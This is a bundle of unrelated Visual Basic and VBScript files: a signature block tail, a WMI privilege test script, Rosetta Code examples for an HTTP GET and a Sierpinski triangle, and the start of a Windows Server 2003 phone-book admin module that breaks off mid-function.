'' SIG '' MIIDa6ADAgECAhAIem1cb2KTT7rE/UPhFBidMA0GCSqG
'' SIG '' SIb3DQEBBAUAMIGeMR8wHQYDVQQKExZWZXJpU2lnbiBU
'' SIG '' cnVzdCBOZXR3b3JrMRcwFQYDVQQLEw5WZXJpU2lnbiwg
'' SIG '' SW5jLjEsMCoGA1UECxMjVmVyaVNpZ24gVGltZSBTdGFt
'' SIG '' cGluZyBTZXJ2aWNlIFJvb3QxNDAyBgNVBAsTK05PIExJ
'' SIG '' QUJJTElUWSBBQ0NFUFRFRCwgKGMpOTcgVmVyaVNpZ24s
'' SIG '' IEluYy4wHhcNMDEwMjI4MDAwMDAwWhcNMDQwMTA2MjM1
'' SIG '' OTU5WjCBoDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4x
'' SIG '' HzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsx
'' SIG '' OzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBhdCBodHRwczov
'' SIG '' L3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTAxMScwJQYD
'' SIG '' VQQDEx5WZXJpU2lnbiBUaW1lIFN0YW1waW5nIFNlcnZp
'' SIG '' Y2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
'' SIG '' AQDAemGH67KnA2MbKxph3oC3FR2gi5A9uyeShBQ564XO
'' SIG '' KZIGZkikA0+N6E+n8K9e0S8Zx5HxtZ57kSHO6f/jTvD8
'' SIG '' r5VYuGMt5o72KRjNcI5Qw+2Wu0DbviXoQlXW9oXyBueL
'' SIG '' mRwx8wMP1EycJCrcGxuPgvOw76dN4xSn4I/Wx2jCYVip
'' SIG '' ctT4MEhP2S9vYyDZicqCe8JLvCjFgWjn5oJArEY6oPk/
'' SIG '' Ns1Mu1RCWnple/6E5MdHVKy5PeyAxxr3xDOBgckqlft/
'' SIG '' XjqHkBTbzC518u9r5j2pYL5CAapPqluoPyIxnxIV+XOh
'' SIG '' HoKLBCvqRgJMbY8fUC6VSyp4BoR0PZGPLEcxAgMBAAGj
'' SIG '' gbgwgbUwQAYIKwYBBQUHAQEENDAyMDAGCCsGAQUFBzAB
'' SIG '' hiRodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20vb2NzcC9z
'' SIG '' dGF0dXMwCQYDVR0TBAIwADBEBgNVHSAEPTA7MDkGC2CG
'' SIG '' SAGG+EUBBwEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v
'' SIG '' d3d3LnZlcmlzaWduLmNvbS9ycGEwEwYDVR0lBAwwCgYI
'' SIG '' KwYBBQUHAwgwCwYDVR0PBAQDAgbAMA0GCSqGSIb3DQEB
'' SIG '' BAUAA4GBAC3zT2NgLBja9SQPUrMM67O8Z4XCI+2PRg3P
'' SIG '' Gk2+83x6IDAyGGiLkrsymfCTuDsVBid7PgIGAKQhkoQT
'' SIG '' CsWY5UBXxQUl6K+vEWqp5TvL6SP2lCldQFXzpVOdyDY6
'' SIG '' OWUIc3OkMtKvrL/HBTz/RezD6Nok0c5jrgmn++Ib4/1B
'' SIG '' CmqWMIIEEjCCAvqgAwIBAgIPAMEAizw8iBHRPvZj7N9A
'' SIG '' MA0GCSqGSIb3DQEBBAUAMHAxKzApBgNVBAsTIkNvcHly
'' SIG '' aWdodCAoYykgMTk5NyBNaWNyb3NvZnQgQ29ycC4xHjAc
'' SIG '' BgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEhMB8G
'' SIG '' A1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0aG9yaXR5MB4X
'' SIG '' DTk3MDExMDA3MDAwMFoXDTIwMTIzMTA3MDAwMFowcDEr
'' SIG '' MCkGA1UECxMiQ29weXJpZ2h0IChjKSAxOTk3IE1pY3Jv
'' SIG '' c29mdCBDb3JwLjEeMBwGA1UECxMVTWljcm9zb2Z0IENv
'' SIG '' cnBvcmF0aW9uMSEwHwYDVQQDExhNaWNyb3NvZnQgUm9v
'' SIG '' dCBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IB
'' SIG '' DwAwggEKAoIBAQCpAr3BcOY78k4bKJ+XeF4w6qKpjSVf
'' SIG '' +P6VTKO3/p2iID58UaKboo9gMmvRQmR57qx2yVTa8uuc
'' SIG '' hhyPn4Rms8VremIj1h083g8BkuiWxL8tZpqaaCaZ0Dos
'' SIG '' vwy1WCbBRucKPjiWLKkoOajsSYNC44QPu5psVWGsgnyh
'' SIG '' YC13TOmZtGQ7mlAcMQgkFJ+p55ErGOY9mGMUYFgFZZ8d
'' SIG '' N1KH96fvlALGG9O/VUWziYC/OuxUlE6u/ad6bXROrxjM
'' SIG '' lgkoIQBXkGBpN7tLEgc8Vv9b+6RmCgim0oFWV++2O14W
'' SIG '' gXcE2va+roCV/rDNf9anGnJcPMq88AijIjCzBoXJsyB3
'' SIG '' E4XfAgMBAAGjgagwgaUwgaIGA1UdAQSBmjCBl4AQW9Bw
'' SIG '' 72lyniNRfhSyTY7/y6FyMHAxKzApBgNVBAsTIkNvcHly
'' SIG '' aWdodCAoYykgMTk5NyBNaWNyb3NvZnQgQ29ycC4xHjAc
'' SIG '' BgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEhMB8G
'' SIG '' A1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0aG9yaXR5gg8A
'' SIG '' wQCLPDyIEdE+9mPs30AwDQYJKoZIhvcNAQEEBQADggEB
'' SIG '' AJXoC8CN85cYNe24ASTYdxHzXGAyn54Lyz4FkYiPyTrm
'' SIG '' IfLwV5MstaBHyGLv/NfMOztaqTZUaf4kbT/JzKreBXzd
'' SIG '' MY09nxBwarv+Ek8YacD80EPjEVogT+pie6+qGcgrNyUt
'' SIG '' vmWhEoolD2Oj91Qc+SHJ1hXzUqxuQzIH/YIX+OVnbA1R
'' SIG '' 9r3xUse958Qw/CAxCYgdlSkaTdUdAqXxgOADtFv0sd3I
'' SIG '' V+5lScdSVLa0AygS/5DW8AiPfriXxas3LOR65Kh343ag
'' SIG '' ANBqP8HSNorgQRKoNWobats14dQcBOSoRQTIWjM4bk0c
'' SIG '' DWK3CqKM09VUP0bNHFWmcNsSOoeTdZ+n0qAwggTJMIID
'' SIG '' saADAgECAhBqC5lPwADeqhHU2ECaqL7mMA0GCSqGSIb3
'' SIG '' DQEBBAUAMHAxKzApBgNVBAsTIkNvcHlyaWdodCAoYykg
'' SIG '' MTk5NyBNaWNyb3NvZnQgQ29ycC4xHjAcBgNVBAsTFU1p
'' SIG '' Y3Jvc29mdCBDb3Jwb3JhdGlvbjEhMB8GA1UEAxMYTWlj
'' SIG '' cm9zb2Z0IFJvb3QgQXV0aG9yaXR5MB4XDTAwMTIxMDA4
'' SIG '' MDAwMFoXDTA1MTExMjA4MDAwMFowgaYxCzAJBgNVBAYT
'' SIG '' AlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQH
'' SIG '' EwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29y
'' SIG '' cG9yYXRpb24xKzApBgNVBAsTIkNvcHlyaWdodCAoYykg
'' SIG '' MjAwMCBNaWNyb3NvZnQgQ29ycC4xIzAhBgNVBAMTGk1p
'' SIG '' Y3Jvc29mdCBDb2RlIFNpZ25pbmcgUENBMIIBIDANBgkq
'' SIG '' hkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAooQVU9gLMA40
'' SIG '' lf86G8LzL3ttNyNN89KM5f2v/cUCNB8kx+Wh3FTsfgJ0
'' SIG '' R6vbMlgWFFEpOPF+srSMOke1OU5uVMIxDDpt+83Ny1Cc
'' SIG '' G66n2NlKJj+1xcuPluJJ8m3Y6ZY+3gXP8KZVN60vYM2A
'' SIG '' YUKhSVRKDxi3S9mTmTBaR3VktNO73barDJ1PuHM7GDqq
'' SIG '' tIeMsIiwTU8fThG1M4DfDTpkb0THNL1Kk5u8ph35BSNO
'' SIG '' YCmPzCryhJqZrajbCnB71jRBkKW3ZsdcGx2jMw6bVAMa
'' SIG '' P5iQuMznPQR0QxyP9znms6xIemsqDmIBYTl2bv0+mAdL
'' SIG '' FPEBRv0VAOBH2k/kBeSAJQIBA6OCASgwggEkMBMGA1Ud
'' SIG '' JQQMMAoGCCsGAQUFBwMDMIGiBgNVHQEEgZowgZeAEFvQ
'' SIG '' cO9pcp4jUX4Usk2O/8uhcjBwMSswKQYDVQQLEyJDb3B5
'' SIG '' cmlnaHQgKGMpIDE5OTcgTWljcm9zb2Z0IENvcnAuMR4w
'' SIG '' HAYDVQQLExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xITAf
'' SIG '' BgNVBAMTGE1pY3Jvc29mdCBSb290IEF1dGhvcml0eYIP
'' SIG '' AMEAizw8iBHRPvZj7N9AMBAGCSsGAQQBgjcVAQQDAgEA
'' SIG '' MB0GA1UdDgQWBBQpXLkbts0z7rueWX335couxA00KDAZ
'' SIG '' BgkrBgEEAYI3FAIEDB4KAFMAdQBiAEMAQTALBgNVHQ8E
'' SIG '' BAMCAUYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0B
'' SIG '' AQQFAAOCAQEARVjimkF//J2/SHd3rozZ5hnFV7QavbS5
'' SIG '' XwKhRWo5Wfm5J5wtTZ78ouQ4ijhkIkLfuS8qz7fWBsrr
'' SIG '' Kr/gGoV821EIPfQi09TAbYiBFURfZINkxKmULIrbkDdK
'' SIG '' D7fo1GGPdnbh2SX/JISVjQRWVJShHDo+grzupYeMHIxL
'' SIG '' eV+1SfpeMmk6H1StdU3fZOcwPNtkSUT7+8QcQnHmoD1F
'' SIG '' 7msAn6xCvboRs1bk+9WiKoHYH06iVb4nj3Cmomwb/1SK
'' SIG '' gryBS6ahsWZ6qRenywbAR+ums+kxFVM9KgS//3NI3Isn
'' SIG '' Q/xj6O4kh1u+NtHoMfUy2V7feXq6MKxphkr7jBG/G41U
'' SIG '' WTCCBQ8wggP3oAMCAQICCmEHEUMAAAAAADQwDQYJKoZI
'' SIG '' hvcNAQEFBQAwgaYxCzAJBgNVBAYTAlVTMRMwEQYDVQQI
'' SIG '' EwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4w
'' SIG '' HAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xKzAp
'' SIG '' BgNVBAsTIkNvcHlyaWdodCAoYykgMjAwMCBNaWNyb3Nv
'' SIG '' ZnQgQ29ycC4xIzAhBgNVBAMTGk1pY3Jvc29mdCBDb2Rl
'' SIG '' IFNpZ25pbmcgUENBMB4XDTAyMDUyNTAwNTU0OFoXDTAz
'' SIG '' MTEyNTAxMDU0OFowgaExCzAJBgNVBAYTAlVTMRMwEQYD
'' SIG '' VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25k
'' SIG '' MR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24x
'' SIG '' KzApBgNVBAsTIkNvcHlyaWdodCAoYykgMjAwMiBNaWNy
'' SIG '' b3NvZnQgQ29ycC4xHjAcBgNVBAMTFU1pY3Jvc29mdCBD
'' SIG '' b3Jwb3JhdGlvbjCCASIwDQYJKoZIhvcNAQEBBQADggEP
'' SIG '' ADCCAQoCggEBAKqZvTmoGCf0Kz0LTD98dy6ny7XRjA3C
'' SIG '' OnTXk7XgoEs/WV7ORU+aeSnxScwaR+5Vwgg+EiD4VfLu
'' SIG '' X9Pgypa8MN7+WMgnMtCFVOjwkRC78yu+GeUDmwuGHfOw
'' SIG '' OYy4/QsdPHMmrFcryimiFZCCFeJ3o0BSA4udwnC6H+k0
'' SIG '' 9vM1kk5Vg/jaMLYg3lcGtVpCBt5Zy/Lfpr0VR3EZJSPS
'' SIG '' y2+bGXnfalvxdgV5KfzDVsqPRAiFVYrLyA9GS1XLjJZ3
'' SIG '' SofoqUEGx/8N6WhXY3LDaVe0Q88yOjDcG+nVQyYqef6V
'' SIG '' 2yJnJMkv0DTj5vtRSYa4PNAlX9bsngNhh6loQMf44gPm
'' SIG '' zwUCAwEAAaOCAUAwggE8MA4GA1UdDwEB/wQEAwIGwDAT
'' SIG '' BgNVHSUEDDAKBggrBgEFBQcDAzAdBgNVHQ4EFgQUa8jG
'' SIG '' USDwtC/ToLauf14msriHUikwgakGA1UdIwSBoTCBnoAU
'' SIG '' KVy5G7bNM+67nll99+XKLsQNNCihdKRyMHAxKzApBgNV
'' SIG '' BAsTIkNvcHlyaWdodCAoYykgMTk5NyBNaWNyb3NvZnQg
'' SIG '' Q29ycC4xHjAcBgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3Jh
'' SIG '' dGlvbjEhMB8GA1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0
'' SIG '' aG9yaXR5ghBqC5lPwADeqhHU2ECaqL7mMEoGA1UdHwRD
'' SIG '' MEEwP6A9oDuGOWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNv
'' SIG '' bS9wa2kvY3JsL3Byb2R1Y3RzL0NvZGVTaWduUENBLmNy
'' SIG '' bDANBgkqhkiG9w0BAQUFAAOCAQEANSP9E1T86dzw3QwU
'' SIG '' evqns879pzrIuuXn9gP7U9unmamgmzacA+uCRxwhvRTL
'' SIG '' 52dACccWkQJVzkNCtM0bXbDzMgQ9EuUdpwenj6N+RVV2
'' SIG '' G5aVkWnw3TjzSInvcEC327VVgMADxC62KNwKgg7HQ+N6
'' SIG '' SF24BomSQGxuxdz4mu8LviEKjC86te2nznGHaCPhs+QY
'' SIG '' fbhHAaUrxFjLsolsX/3TLMRvuCOyDf888hFFdPIJBpkY
'' SIG '' 3W/AhgEYEh0rFq9W72UzoepnTvRLgqvpD9wB+t9gf2ZH
'' SIG '' XcsscMx7TtkGuG6MDP5iHkL5k3yiqwqe0CMQrk17J5Fv
'' SIG '' Jr5o+qY/nyPryJ27hzGCBN0wggTZAgEBMIG1MIGmMQsw
'' SIG '' CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQ
'' SIG '' MA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9z
'' SIG '' b2Z0IENvcnBvcmF0aW9uMSswKQYDVQQLEyJDb3B5cmln
'' SIG '' aHQgKGMpIDIwMDAgTWljcm9zb2Z0IENvcnAuMSMwIQYD
'' SIG '' VQQDExpNaWNyb3NvZnQgQ29kZSBTaWduaW5nIFBDQQIK
'' SIG '' YQcRQwAAAAAANDAMBggqhkiG9w0CBQUAoIGqMBkGCSqG
'' SIG '' SIb3DQEJAzEMBgorBgEEAYI3AgEEMBwGCisGAQQBgjcC
'' SIG '' AQsxDjAMBgorBgEEAYI3AgEVMB8GCSqGSIb3DQEJBDES
'' SIG '' BBDaMnDARVd2uJyaAxK0dOXIME4GCisGAQQBgjcCAQwx
'' SIG '' QDA+oB6AHABFAHYAZQBuAHQAUQB1AGUAcgB5AC4AdgBi
'' SIG '' AHOhHIAad3d3Lm1pY3Jvc29mdC5jb20vd2luZG93cyAw
'' SIG '' DQYJKoZIhvcNAQEBBQAEggEAPf6uEojLWzpkv15s5nmE
'' SIG '' MG5uPg5iWWzffTn8e8FHNyheB2CxrLG0PrGw+GAIiT+f
'' SIG '' lwN2LZfj/KDgRrMGIB6WP5rs46cEHn/44xs/Y7QfOX92
'' SIG '' djs+nRnug48PbhAt37ZTSq7uZv58UBb/YAGN/v5vw5BB
'' SIG '' RAuecTE1J+twxAsX2B/sqXpiczL26lnxehDkI0Jdqfi4
'' SIG '' a/0NeukzSBj3OgOPPMktwVKi/0oPqm31DbwOzAgm+GLy
'' SIG '' ag34tmUfA7W+uwQRjnm+jyQ+ZGMLyGIaPjYMmgw9ewJP
'' SIG '' 2+G/yd9ROG8VjL+GX9k6EUUinzA34wH/Zds6tsZtpIHg
'' SIG '' HTYTkBbsHZA34aGCAkwwggJIBgkqhkiG9w0BCQYxggI5
'' SIG '' MIICNQIBATCBszCBnjEfMB0GA1UEChMWVmVyaVNpZ24g
'' SIG '' VHJ1c3QgTmV0d29yazEXMBUGA1UECxMOVmVyaVNpZ24s
'' SIG '' IEluYy4xLDAqBgNVBAsTI1ZlcmlTaWduIFRpbWUgU3Rh
'' SIG '' bXBpbmcgU2VydmljZSBSb290MTQwMgYDVQQLEytOTyBM
'' SIG '' SUFCSUxJVFkgQUNDRVBURUQsIChjKTk3IFZlcmlTaWdu
'' SIG '' LCBJbmMuAhAIem1cb2KTT7rE/UPhFBidMAwGCCqGSIb3
'' SIG '' DQIFBQCgWTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
'' SIG '' MBwGCSqGSIb3DQEJBTEPFw0wMjA3MTUyMjEyNDBaMB8G
'' SIG '' CSqGSIb3DQEJBDESBBB+VnFaley0kGY2xc8t1vJEMA0G
'' SIG '' CSqGSIb3DQEBAQUABIIBAIR3KgNSALKTeXW2KnX5jWzL
'' SIG '' tRAl+F/+HbCW6D0QGpGlg/OaCUHHF/d0M3fak8SKtrYM
'' SIG '' 17zhHxqT2HqsoorcMOnyYjIKrW1XMD6sHZTa+1bbOriy
'' SIG '' z4N6zqeNKzXffYsXyIdM60csQ7romWZm0H5+RjP/WtHT
'' SIG '' K3KA3YgHLBWMm2B0U4mmEgNHL0GQwXg/zRONB9Q+GWcA
'' SIG '' LwSodGbOk256VgWqHpmErPjwHKCcHRcBBFphYRZeIwyd
'' SIG '' c2YNb7y8B33uQc3glXna8FWBR9BUXOMbm7UWqlycmBRp
'' SIG '' jM3MvVBUPEeV3wLTVtUwKg4Os4jse3Qb4e1ovWqrcnwA
'' SIG '' f9rNehliStQ=
'' SIG '' End signature block
|
<filename>admin/wmi/wbem/scripting/test/vbscript/privilege/p2.vbs
on error resume next
const wbemPrivilegeCreateToken = 1
const wbemPrivilegePrimaryToken = 2
const wbemPrivilegeLockMemory = 3
const wbemPrivilegeIncreaseQuota = 4
const wbemPrivilegeMachineAccount = 5
const wbemPrivilegeTcb = 6
const wbemPrivilegeSecurity = 7
const wbemPrivilegeTakeOwnership = 8
const wbemPrivilegeLoadDriver = 9
const wbemPrivilegeSystemProfile = 10
const wbemPrivilegeSystemtime = 11
const wbemPrivilegeProfileSingleProcess = 12
const wbemPrivilegeIncreaseBasePriority = 13
const wbemPrivilegeCreatePagefile = 14
const wbemPrivilegeCreatePermanent = 15
const wbemPrivilegeBackup = 16
const wbemPrivilegeRestore = 17
const wbemPrivilegeShutdown = 18
const wbemPrivilegeDebug = 19
const wbemPrivilegeAudit = 20
const wbemPrivilegeSystemEnvironment = 21
const wbemPrivilegeChangeNotify = 22
const wbemPrivilegeRemoteShutdown = 23
set locator = CreateObject("WbemScripting.SWbemLocator")
locator.security_.privileges.Add wbemPrivilegeCreateToken
locator.security_.privileges.Add wbemPrivilegePrimaryToken
locator.security_.privileges.Add wbemPrivilegeLockMemory
locator.security_.privileges.Add wbemPrivilegeIncreaseQuota
locator.security_.privileges.Add wbemPrivilegeMachineAccount
locator.security_.privileges.Add wbemPrivilegeTcb
locator.security_.privileges.Add wbemPrivilegeSecurity
locator.security_.privileges.Add wbemPrivilegeTakeOwnership
locator.security_.privileges.Add wbemPrivilegeLoadDriver
locator.security_.privileges.Add wbemPrivilegeSystemProfile
locator.security_.privileges.Add wbemPrivilegeSystemTime
locator.security_.privileges.Add wbemPrivilegeProfileSingleProcess
locator.security_.privileges.Add wbemPrivilegeIncreaseBasePriority
locator.security_.privileges.Add wbemPrivilegeCreatePagefile
locator.security_.privileges.Add wbemPrivilegeCreatePermanent
locator.security_.privileges.Add wbemPrivilegeBackup
locator.security_.privileges.Add wbemPrivilegeRestore
locator.security_.privileges.Add wbemPrivilegeShutdown
locator.security_.privileges.Add wbemPrivilegeDebug
locator.security_.privileges.Add wbemPrivilegeAudit
locator.security_.privileges.Add wbemPrivilegeSystemEnvironment
locator.security_.privileges.Add wbemPrivilegeChangeNotify, false
locator.security_.privileges.Add wbemPrivilegeRemoteShutdown
set service = getobject ("winmgmts:{impersonationLevel=impersonate,(CreateToken,PrimaryToken,LockMemory,IncreaseQuota,MachineAccount,Tcb,Security,TakeOwnership,LoadDriver,SystemProfile,SystemTime,ProfileSingleProcess,IncreaseBasePriority,CreatePageFile,CreatePermanent,Backup,Restore,Shutdown,Debug,Audit,SystemEnvironment,!ChangeNotify,RemoteShutdown)}!root/scenario26")
set obj = service.get ("Scenario26.key=""x""")
if err <> 0 then
WScript.Echo Hex(Err.Number), Err.Description
end if
|
Sub Main()
Dim HttpReq As WinHttp.WinHttpRequest
' in the "references" dialog of the IDE, check
' "Microsoft WinHTTP Services, version 5.1" (winhttp.dll)
Const HTTPREQUEST_PROXYSETTING_PROXY As Long = 2
#Const USE_PROXY = 1
Set HttpReq = New WinHttp.WinHttpRequest
HttpReq.Open "GET", "http://rosettacode.org/robots.txt"
#If USE_PROXY Then
HttpReq.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, "my_proxy:80"
#End If
HttpReq.SetTimeouts 1000, 1000, 1000, 1000
HttpReq.Send
Debug.Print HttpReq.ResponseText
End Sub
|
Sub sierpinski(n As Integer)
Dim lim As Integer: lim = 2 ^ n - 1
For y = lim To 0 Step -1
Debug.Print String$(y, " ")
For x = 0 To lim - y
Debug.Print IIf(x And y, " ", "# ");
Next
Debug.Print
Next y
End Sub
Public Sub main()
Dim i As Integer
For i = 1 To 5
sierpinski i
Next i
End Sub
|
<reponame>npocmaka/Windows-Server-2003
'//+----------------------------------------------------------------------------
'//
'// File: global.bas
'//
'// Module: pbadmin.exe
'//
'// Synopsis: The implementation of functions global to PBA.
'//
'// Copyright (c) 1997-1999 Microsoft Corporation
'//
'// Author: quintinb Created Header 09/02/99
'//
'//+----------------------------------------------------------------------------
Attribute VB_Name = "global"
Option Explicit
'Declare configuration global variables
Public PBFileName As String
Public RegionFilename As String
Public signature As String
Public PartialCab As String
Public FullCab As String
Public DBName As String
Public locPath As Variant 'define the app path.
Public updateFound As Integer
Public gStatusText(0 To 1) As String
Public gRegionText(-1 To 0) As String
Public gCommandStatus As Integer
Public gBuildDir
Public gCLError As Boolean
Public HTMLHelpFile As String
' Registry and resource values
Global gsRegAppTitle As String
'region edit list
Type EditLists
Action() As String
Region() As String
OldRegion() As String
ID() As Integer
Count As Integer
End Type
Public Type tmpFont
Name As String
Size As Integer
Charset As Integer
End Type
Public gfnt As tmpFont
'Declare the global constants for flag calculations
Global Const Global_Or = 2
Global Const Global_And = &HFFFF
Public result As Long
Public service As Integer
'Set the check point for the insert operation
Public code As Integer
Public Type bitValues
desc(1) As String
End Type
Public gQuote As String
'Declare the database and dynasets for the tables
Public gsCurrentPB As String
Public gsCurrentPBPath As String
Public MyWorkspace As Workspace
Public gsyspb As Database
Public Gsyspbpost As Database
Public GsysRgn As Recordset
Public GsysCty As Recordset
Public GsysDial As Recordset
Public GsysVer As Recordset
Public GsysDelta As Recordset
'Declare the recordset for accessing information
Public GsysNRgn As Recordset
Public GsysNCty As Recordset
Public GsysNDial As Recordset
Public GsysNVer As Recordset
Public GsysNDelta As Recordset
Public temp As Recordset
'Declare recordset to directly hand DAO RS to data control
Public rsDataDelta As Recordset
Public dbDataDelta As Database
'registry
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const KEY_ALL_ACCESS = &H3F
Global Const ERROR_NONE = 0
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As _
String, ByVal lpReserved As Long, lpType As Long, ByVal lpData _
As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As _
String, ByVal lpReserved As Long, lpType As Long, lpData As _
Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As _
String, ByVal lpReserved As Long, lpType As Long, ByVal lpData _
As Long, lpcbData As Long) As Long
'Public gsDAOPath As String
'Declare Function DllRegisterServer Lib "gsDAOPath" () As Long
Declare Function OSWritePrivateProfileString% Lib "kernel32" _
Alias "WritePrivateProfileStringA" _
(ByVal AppName$, ByVal KeyName$, ByVal keydefault$, ByVal FileName$)
Declare Function OSWritePrivateProfileSection% Lib "kernel32" _
Alias "WritePrivateProfileSectionA" _
(ByVal AppName$, ByVal KeyName$, ByVal FileName$)
'Declare Function OSGetPrivateProfileString% Lib "kernel32" _
' Alias "GetPrivateProfileStringA" _
' (ByVal AppName$, ByVal KeyName$, ByVal keydefault$, ByVal ReturnString$, ByVal NumBytes As Integer, ByVal FileName$)
Declare Function OSWinHelp% Lib "user32" Alias "WinHelpA" (ByVal hWnd&, ByVal HelpFile$, ByVal wCommand%, dwData As Any) 'helpfile API
'Declare Function WinHelp Lib "user32" Alias "WinHelpA" (ByVal hwnd As Long, ByVal HelpFile As String, ByVal wCommand As Long, ByVal dwData As Long) As Long 'helpfile API
Declare Function HtmlHelp Lib "hhwrap.dll" Alias "CallHtmlHelp" (ByVal hWnd As Long, ByVal HelpFile As String, ByVal wCommand As Long, ByVal dwData As Any) As Long
'Declare Function HtmlHelp Lib "hhctrl.ocx" Alias "HtmlHelpA" (ByVal hWnd As Long, ByVal HelpFile As String, ByVal wCommand As Long, dwData As Any) As Long
Public Const HELP_CONTEXT = &H1
Public Const HELP_INDEX = &H3
Public Const HH_DISPLAY_TOPIC = &H0
Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Declare Function GetUserDefaultLCID& Lib "kernel32" ()
Declare Function OpenFile Lib "kernel32" (ByVal lpFileName As String, _
lpReOpenBuff As OFSTRUCT, _
ByVal wStyle As Long) As Long
Public Const OFS_MAXPATHNAME = 128
Public Const OF_EXIST = &H4000
Declare Function apiGetWindowsDirectory& Lib "kernel32" Alias _
"GetWindowsDirectoryA" (ByVal lpbuffer As String, ByVal _
nSize As Long)
Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type
Declare Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETRESOURCE, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
Declare Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Public Const RESOURCETYPE_DISK = &H1
Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type
Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias _
"GetDiskFreeSpaceA" (ByVal lpRootPathName As String, _
lpSectorsPerCluster As Long, lpBytesPerSector As Long, _
lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) _
As Long
Public Const VER_PLATFORM_WIN32s = 0
Public Const VER_PLATFORM_WIN32_WINDOWS = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128 ' Maintenance string for PSS usage
End Type
Public Sub GetFont(fnt As tmpFont)
Const DEFAULT_CHARSET = 1
Const SYMBOL_CHARSET = 2
Const SHIFTJIS_CHARSET = 128
Const HANGEUL_CHARSET = 129
Const CHINESEBIG5_CHARSET = 136
Const CHINESESIMPLIFIED_CHARSET = 134
Dim MyLCID As Integer
MyLCID = GetUserDefaultLCID()
Select Case MyLCID
Case &H404 ' Traditional Chinese
fnt.Charset = CHINESEBIG5_CHARSET
fnt.Name = ChrW(&H65B0) + ChrW(&H7D30) + ChrW(&H660E) _
+ ChrW(&H9AD4) 'New Ming-Li
fnt.Size = 9
Case &H411 ' Japan
fnt.Charset = SHIFTJIS_CHARSET
fnt.Name = ChrW(&HFF2D) + ChrW(&HFF33) + ChrW(&H20) + ChrW(&HFF30) + _
ChrW(&H30B4) + ChrW(&H30B7) + ChrW(&H30C3) + ChrW(&H30AF)
fnt.Size = 9
Case &H412 'Korea UserLCID
fnt.Charset = HANGEUL_CHARSET
fnt.Name = ChrW(&HAD74) + ChrW(&HB9BC) 'Korea FontName
fnt.Size = 9 'Korea FontSize
Case &H804 ' Simplified Chinese
fnt.Charset = CHINESESIMPLIFIED_CHARSET
fnt.Name = ChrW(&H5B8B) + ChrW(&H4F53)
fnt.Size = 9
Case Else ' The other countries
fnt.Charset = DEFAULT_CHARSET
fnt.Name = "MS Sans Serif"
fnt.Size = 8
End Select
End Sub
Function DeletePOP(ByRef ID As Long, ByRef dbPB As Database) As Integer
Dim strSQL As String
Dim deltnum As Integer, i As Integer
Dim deltasql As String
Dim deletecheck As Recordset
